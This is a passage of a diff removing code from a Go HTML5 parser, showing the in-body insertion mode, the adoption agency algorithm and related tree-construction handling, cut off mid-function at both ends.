p.oe.remove(p.head) - return inHeadIM(p) - case a.Head: - // Ignore the token. - return true - } - case EndTagToken: - switch p.tok.DataAtom { - case a.Body, a.Html, a.Br: - // Drop down to creating an implied tag. - case a.Template: - return inHeadIM(p) - default: - // Ignore the token. - return true - } - case CommentToken: - p.addChild(&Node{ - Type: CommentNode, - Data: p.tok.Data, - }) - return true - case DoctypeToken: - // Ignore the token. - return true - } - - p.parseImpliedToken(StartTagToken, a.Body, a.Body.String()) - p.framesetOK = true - return false -} - -// copyAttributes copies attributes of src not found on dst to dst. -func copyAttributes(dst *Node, src Token) { - if len(src.Attr) == 0 { - return - } - attr := map[string]string{} - for _, t := range dst.Attr { - attr[t.Key] = t.Val - } - for _, t := range src.Attr { - if _, ok := attr[t.Key]; !ok { - dst.Attr = append(dst.Attr, t) - attr[t.Key] = t.Val - } - } -} - -// Section 12.2.6.4.7. -func inBodyIM(p *parser) bool { - switch p.tok.Type { - case TextToken: - d := p.tok.Data - switch n := p.oe.top(); n.DataAtom { - case a.Pre, a.Listing: - if n.FirstChild == nil { - // Ignore a newline at the start of a
 block.
-				if d != "" && d[0] == '\r' {
-					d = d[1:]
-				}
-				if d != "" && d[0] == '\n' {
-					d = d[1:]
-				}
-			}
-		}
-		d = strings.Replace(d, "\x00", "", -1)
-		if d == "" {
-			return true
-		}
-		p.reconstructActiveFormattingElements()
-		p.addText(d)
-		if p.framesetOK && strings.TrimLeft(d, whitespace) != "" {
-			// There were non-whitespace characters inserted.
-			p.framesetOK = false
-		}
-	case StartTagToken:
-		switch p.tok.DataAtom {
-		case a.Html:
-			if p.oe.contains(a.Template) {
-				return true
-			}
-			copyAttributes(p.oe[0], p.tok)
-		case a.Base, a.Basefont, a.Bgsound, a.Command, a.Link, a.Meta, a.Noframes, a.Script, a.Style, a.Template, a.Title:
-			return inHeadIM(p)
-		case a.Body:
-			if p.oe.contains(a.Template) {
-				return true
-			}
-			if len(p.oe) >= 2 {
-				body := p.oe[1]
-				if body.Type == ElementNode && body.DataAtom == a.Body {
-					p.framesetOK = false
-					copyAttributes(body, p.tok)
-				}
-			}
-		case a.Frameset:
-			if !p.framesetOK || len(p.oe) < 2 || p.oe[1].DataAtom != a.Body {
-				// Ignore the token.
-				return true
-			}
-			body := p.oe[1]
-			if body.Parent != nil {
-				body.Parent.RemoveChild(body)
-			}
-			p.oe = p.oe[:1]
-			p.addElement()
-			p.im = inFramesetIM
-			return true
-		case a.Address, a.Article, a.Aside, a.Blockquote, a.Center, a.Details, a.Dialog, a.Dir, a.Div, a.Dl, a.Fieldset, a.Figcaption, a.Figure, a.Footer, a.Header, a.Hgroup, a.Main, a.Menu, a.Nav, a.Ol, a.P, a.Section, a.Summary, a.Ul:
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-		case a.H1, a.H2, a.H3, a.H4, a.H5, a.H6:
-			p.popUntil(buttonScope, a.P)
-			switch n := p.top(); n.DataAtom {
-			case a.H1, a.H2, a.H3, a.H4, a.H5, a.H6:
-				p.oe.pop()
-			}
-			p.addElement()
-		case a.Pre, a.Listing:
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-			// The newline, if any, will be dealt with by the TextToken case.
-			p.framesetOK = false
-		case a.Form:
-			if p.form != nil && !p.oe.contains(a.Template) {
-				// Ignore the token
-				return true
-			}
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-			if !p.oe.contains(a.Template) {
-				p.form = p.top()
-			}
-		case a.Li:
-			p.framesetOK = false
-			for i := len(p.oe) - 1; i >= 0; i-- {
-				node := p.oe[i]
-				switch node.DataAtom {
-				case a.Li:
-					p.oe = p.oe[:i]
-				case a.Address, a.Div, a.P:
-					continue
-				default:
-					if !isSpecialElement(node) {
-						continue
-					}
-				}
-				break
-			}
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-		case a.Dd, a.Dt:
-			p.framesetOK = false
-			for i := len(p.oe) - 1; i >= 0; i-- {
-				node := p.oe[i]
-				switch node.DataAtom {
-				case a.Dd, a.Dt:
-					p.oe = p.oe[:i]
-				case a.Address, a.Div, a.P:
-					continue
-				default:
-					if !isSpecialElement(node) {
-						continue
-					}
-				}
-				break
-			}
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-		case a.Plaintext:
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-		case a.Button:
-			p.popUntil(defaultScope, a.Button)
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-			p.framesetOK = false
-		case a.A:
-			for i := len(p.afe) - 1; i >= 0 && p.afe[i].Type != scopeMarkerNode; i-- {
-				if n := p.afe[i]; n.Type == ElementNode && n.DataAtom == a.A {
-					p.inBodyEndTagFormatting(a.A, "a")
-					p.oe.remove(n)
-					p.afe.remove(n)
-					break
-				}
-			}
-			p.reconstructActiveFormattingElements()
-			p.addFormattingElement()
-		case a.B, a.Big, a.Code, a.Em, a.Font, a.I, a.S, a.Small, a.Strike, a.Strong, a.Tt, a.U:
-			p.reconstructActiveFormattingElements()
-			p.addFormattingElement()
-		case a.Nobr:
-			p.reconstructActiveFormattingElements()
-			if p.elementInScope(defaultScope, a.Nobr) {
-				p.inBodyEndTagFormatting(a.Nobr, "nobr")
-				p.reconstructActiveFormattingElements()
-			}
-			p.addFormattingElement()
-		case a.Applet, a.Marquee, a.Object:
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-			p.afe = append(p.afe, &scopeMarker)
-			p.framesetOK = false
-		case a.Table:
-			if !p.quirks {
-				p.popUntil(buttonScope, a.P)
-			}
-			p.addElement()
-			p.framesetOK = false
-			p.im = inTableIM
-			return true
-		case a.Area, a.Br, a.Embed, a.Img, a.Input, a.Keygen, a.Wbr:
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-			p.oe.pop()
-			p.acknowledgeSelfClosingTag()
-			if p.tok.DataAtom == a.Input {
-				for _, t := range p.tok.Attr {
-					if t.Key == "type" {
-						if strings.ToLower(t.Val) == "hidden" {
-							// Skip setting framesetOK = false
-							return true
-						}
-					}
-				}
-			}
-			p.framesetOK = false
-		case a.Param, a.Source, a.Track:
-			p.addElement()
-			p.oe.pop()
-			p.acknowledgeSelfClosingTag()
-		case a.Hr:
-			p.popUntil(buttonScope, a.P)
-			p.addElement()
-			p.oe.pop()
-			p.acknowledgeSelfClosingTag()
-			p.framesetOK = false
-		case a.Image:
-			p.tok.DataAtom = a.Img
-			p.tok.Data = a.Img.String()
-			return false
-		case a.Isindex:
-			if p.form != nil {
-				// Ignore the token.
-				return true
-			}
-			action := ""
-			prompt := "This is a searchable index. Enter search keywords: "
-			attr := []Attribute{{Key: "name", Val: "isindex"}}
-			for _, t := range p.tok.Attr {
-				switch t.Key {
-				case "action":
-					action = t.Val
-				case "name":
-					// Ignore the attribute.
-				case "prompt":
-					prompt = t.Val
-				default:
-					attr = append(attr, t)
-				}
-			}
-			p.acknowledgeSelfClosingTag()
-			p.popUntil(buttonScope, a.P)
-			p.parseImpliedToken(StartTagToken, a.Form, a.Form.String())
-			if p.form == nil {
-				// NOTE: The 'isindex' element has been removed,
-				// and the 'template' element has not been designed to be
-				// collaborative with the index element.
-				//
-				// Ignore the token.
-				return true
-			}
-			if action != "" {
-				p.form.Attr = []Attribute{{Key: "action", Val: action}}
-			}
-			p.parseImpliedToken(StartTagToken, a.Hr, a.Hr.String())
-			p.parseImpliedToken(StartTagToken, a.Label, a.Label.String())
-			p.addText(prompt)
-			p.addChild(&Node{
-				Type:     ElementNode,
-				DataAtom: a.Input,
-				Data:     a.Input.String(),
-				Attr:     attr,
-			})
-			p.oe.pop()
-			p.parseImpliedToken(EndTagToken, a.Label, a.Label.String())
-			p.parseImpliedToken(StartTagToken, a.Hr, a.Hr.String())
-			p.parseImpliedToken(EndTagToken, a.Form, a.Form.String())
-		case a.Textarea:
-			p.addElement()
-			p.setOriginalIM()
-			p.framesetOK = false
-			p.im = textIM
-		case a.Xmp:
-			p.popUntil(buttonScope, a.P)
-			p.reconstructActiveFormattingElements()
-			p.framesetOK = false
-			p.addElement()
-			p.setOriginalIM()
-			p.im = textIM
-		case a.Iframe:
-			p.framesetOK = false
-			p.addElement()
-			p.setOriginalIM()
-			p.im = textIM
-		case a.Noembed, a.Noscript:
-			p.addElement()
-			p.setOriginalIM()
-			p.im = textIM
-		case a.Select:
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-			p.framesetOK = false
-			p.im = inSelectIM
-			return true
-		case a.Optgroup, a.Option:
-			if p.top().DataAtom == a.Option {
-				p.oe.pop()
-			}
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-		case a.Rb, a.Rtc:
-			if p.elementInScope(defaultScope, a.Ruby) {
-				p.generateImpliedEndTags()
-			}
-			p.addElement()
-		case a.Rp, a.Rt:
-			if p.elementInScope(defaultScope, a.Ruby) {
-				p.generateImpliedEndTags("rtc")
-			}
-			p.addElement()
-		case a.Math, a.Svg:
-			p.reconstructActiveFormattingElements()
-			if p.tok.DataAtom == a.Math {
-				adjustAttributeNames(p.tok.Attr, mathMLAttributeAdjustments)
-			} else {
-				adjustAttributeNames(p.tok.Attr, svgAttributeAdjustments)
-			}
-			adjustForeignAttributes(p.tok.Attr)
-			p.addElement()
-			p.top().Namespace = p.tok.Data
-			if p.hasSelfClosingToken {
-				p.oe.pop()
-				p.acknowledgeSelfClosingTag()
-			}
-			return true
-		case a.Caption, a.Col, a.Colgroup, a.Frame, a.Head, a.Tbody, a.Td, a.Tfoot, a.Th, a.Thead, a.Tr:
-			// Ignore the token.
-		default:
-			p.reconstructActiveFormattingElements()
-			p.addElement()
-		}
-	case EndTagToken:
-		switch p.tok.DataAtom {
-		case a.Body:
-			if p.elementInScope(defaultScope, a.Body) {
-				p.im = afterBodyIM
-			}
-		case a.Html:
-			if p.elementInScope(defaultScope, a.Body) {
-				p.parseImpliedToken(EndTagToken, a.Body, a.Body.String())
-				return false
-			}
-			return true
-		case a.Address, a.Article, a.Aside, a.Blockquote, a.Button, a.Center, a.Details, a.Dialog, a.Dir, a.Div, a.Dl, a.Fieldset, a.Figcaption, a.Figure, a.Footer, a.Header, a.Hgroup, a.Listing, a.Main, a.Menu, a.Nav, a.Ol, a.Pre, a.Section, a.Summary, a.Ul:
-			p.popUntil(defaultScope, p.tok.DataAtom)
-		case a.Form:
-			if p.oe.contains(a.Template) {
-				i := p.indexOfElementInScope(defaultScope, a.Form)
-				if i == -1 {
-					// Ignore the token.
-					return true
-				}
-				p.generateImpliedEndTags()
-				if p.oe[i].DataAtom != a.Form {
-					// Ignore the token.
-					return true
-				}
-				p.popUntil(defaultScope, a.Form)
-			} else {
-				node := p.form
-				p.form = nil
-				i := p.indexOfElementInScope(defaultScope, a.Form)
-				if node == nil || i == -1 || p.oe[i] != node {
-					// Ignore the token.
-					return true
-				}
-				p.generateImpliedEndTags()
-				p.oe.remove(node)
-			}
-		case a.P:
-			if !p.elementInScope(buttonScope, a.P) {
-				p.parseImpliedToken(StartTagToken, a.P, a.P.String())
-			}
-			p.popUntil(buttonScope, a.P)
-		case a.Li:
-			p.popUntil(listItemScope, a.Li)
-		case a.Dd, a.Dt:
-			p.popUntil(defaultScope, p.tok.DataAtom)
-		case a.H1, a.H2, a.H3, a.H4, a.H5, a.H6:
-			p.popUntil(defaultScope, a.H1, a.H2, a.H3, a.H4, a.H5, a.H6)
-		case a.A, a.B, a.Big, a.Code, a.Em, a.Font, a.I, a.Nobr, a.S, a.Small, a.Strike, a.Strong, a.Tt, a.U:
-			p.inBodyEndTagFormatting(p.tok.DataAtom, p.tok.Data)
-		case a.Applet, a.Marquee, a.Object:
-			if p.popUntil(defaultScope, p.tok.DataAtom) {
-				p.clearActiveFormattingElements()
-			}
-		case a.Br:
-			p.tok.Type = StartTagToken
-			return false
-		case a.Template:
-			return inHeadIM(p)
-		default:
-			p.inBodyEndTagOther(p.tok.DataAtom, p.tok.Data)
-		}
-	case CommentToken:
-		p.addChild(&Node{
-			Type: CommentNode,
-			Data: p.tok.Data,
-		})
-	case ErrorToken:
-		// TODO: remove this divergence from the HTML5 spec.
-		if len(p.templateStack) > 0 {
-			p.im = inTemplateIM
-			return false
-		} else {
-			for _, e := range p.oe {
-				switch e.DataAtom {
-				case a.Dd, a.Dt, a.Li, a.Optgroup, a.Option, a.P, a.Rb, a.Rp, a.Rt, a.Rtc, a.Tbody, a.Td, a.Tfoot, a.Th,
-					a.Thead, a.Tr, a.Body, a.Html:
-				default:
-					return true
-				}
-			}
-		}
-	}
-
-	return true
-}
-
-func (p *parser) inBodyEndTagFormatting(tagAtom a.Atom, tagName string) {
-	// This is the "adoption agency" algorithm, described at
-	// https://html.spec.whatwg.org/multipage/syntax.html#adoptionAgency
-
-	// TODO: this is a fairly literal line-by-line translation of that algorithm.
-	// Once the code successfully parses the comprehensive test suite, we should
-	// refactor this code to be more idiomatic.
-
-	// Steps 1-4. The outer loop.
-	for i := 0; i < 8; i++ {
-		// Step 5. Find the formatting element.
-		var formattingElement *Node
-		for j := len(p.afe) - 1; j >= 0; j-- {
-			if p.afe[j].Type == scopeMarkerNode {
-				break
-			}
-			if p.afe[j].DataAtom == tagAtom {
-				formattingElement = p.afe[j]
-				break
-			}
-		}
-		if formattingElement == nil {
-			p.inBodyEndTagOther(tagAtom, tagName)
-			return
-		}
-		feIndex := p.oe.index(formattingElement)
-		if feIndex == -1 {
-			p.afe.remove(formattingElement)
-			return
-		}
-		if !p.elementInScope(defaultScope, tagAtom) {
-			// Ignore the tag.
-			return
-		}
-
-		// Steps 9-10. Find the furthest block.
-		var furthestBlock *Node
-		for _, e := range p.oe[feIndex:] {
-			if isSpecialElement(e) {
-				furthestBlock = e
-				break
-			}
-		}
-		if furthestBlock == nil {
-			e := p.oe.pop()
-			for e != formattingElement {
-				e = p.oe.pop()
-			}
-			p.afe.remove(e)
-			return
-		}
-
-		// Steps 11-12. Find the common ancestor and bookmark node.
-		commonAncestor := p.oe[feIndex-1]
-		bookmark := p.afe.index(formattingElement)
-
-		// Step 13. The inner loop. Find the lastNode to reparent.
-		lastNode := furthestBlock
-		node := furthestBlock
-		x := p.oe.index(node)
-		// Steps 13.1-13.2
-		for j := 0; j < 3; j++ {
-			// Step 13.3.
-			x--
-			node = p.oe[x]
-			// Step 13.4 - 13.5.
-			if p.afe.index(node) == -1 {
-				p.oe.remove(node)
-				continue
-			}
-			// Step 13.6.
-			if node == formattingElement {
-				break
-			}
-			// Step 13.7.
-			clone := node.clone()
-			p.afe[p.afe.index(node)] = clone
-			p.oe[p.oe.index(node)] = clone
-			node = clone
-			// Step 13.8.
-			if lastNode == furthestBlock {
-				bookmark = p.afe.index(node) + 1
-			}
-			// Step 13.9.
-			if lastNode.Parent != nil {
-				lastNode.Parent.RemoveChild(lastNode)
-			}
-			node.AppendChild(lastNode)
-			// Step 13.10.
-			lastNode = node
-		}
-
-		// Step 14. Reparent lastNode to the common ancestor,
-		// or for misnested table nodes, to the foster parent.
-		if lastNode.Parent != nil {
-			lastNode.Parent.RemoveChild(lastNode)
-		}
-		switch commonAncestor.DataAtom {
-		case a.Table, a.Tbody, a.Tfoot, a.Thead, a.Tr:
-			p.fosterParent(lastNode)
-		default:
-			commonAncestor.AppendChild(lastNode)
-		}
-
-		// Steps 15-17. Reparent nodes from the furthest block's children
-		// to a clone of the formatting element.
-		clone := formattingElement.clone()
-		reparentChildren(clone, furthestBlock)
-		furthestBlock.AppendChild(clone)
-
-		// Step 18. Fix up the list of active formatting elements.
-		if oldLoc := p.afe.index(formattingElement); oldLoc != -1 && oldLoc < bookmark {
-			// Move the bookmark with the rest of the list.
-			bookmark--
-		}
-		p.afe.remove(formattingElement)
-		p.afe.insert(bookmark, clone)
-
-		// Step 19. Fix up the stack of open elements.
-		p.oe.remove(formattingElement)
-		p.oe.insert(p.oe.index(furthestBlock)+1, clone)
-	}
-}
-
-// inBodyEndTagOther performs the "any other end tag" algorithm for inBodyIM.
-// "Any other end tag" handling from 12.2.6.5 The rules for parsing tokens in foreign content
-// https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inforeign
-func (p *parser) inBodyEndTagOther(tagAtom a.Atom, tagName string) {
-	for i := len(p.oe) - 1; i >= 0; i-- {
-		// Two element nodes have the same tag if they have the same Data (a
-		// string-typed field). As an optimization, for common HTML tags, each
-		// Data string is assigned a unique, non-zero DataAtom (a uint32-typed
-		// field), since integer comparison is faster than string comparison.
-		// Uncommon (custom) tags get a zero DataAtom.
-		//
-		// The if condition here is equivalent to (p.oe[i].Data == tagName).
-		if (p.oe[i].DataAtom == tagAtom) &&
-			((tagAtom != 0) || (p.oe[i].Data == tagName)) {
-			p.oe = p.oe[:i]
-			break
-		}
-		if isSpecialElement(p.oe[i]) {
-			break
-		}
-	}
-}
-
-// Section 12.2.6.4.8.
-func textIM(p *parser) bool {
-	switch p.tok.Type {
-	case ErrorToken:
-		p.oe.pop()
-	case TextToken:
-		d := p.tok.Data
-		if n := p.oe.top(); n.DataAtom == a.Textarea && n.FirstChild == nil {
-			// Ignore a newline at the start of a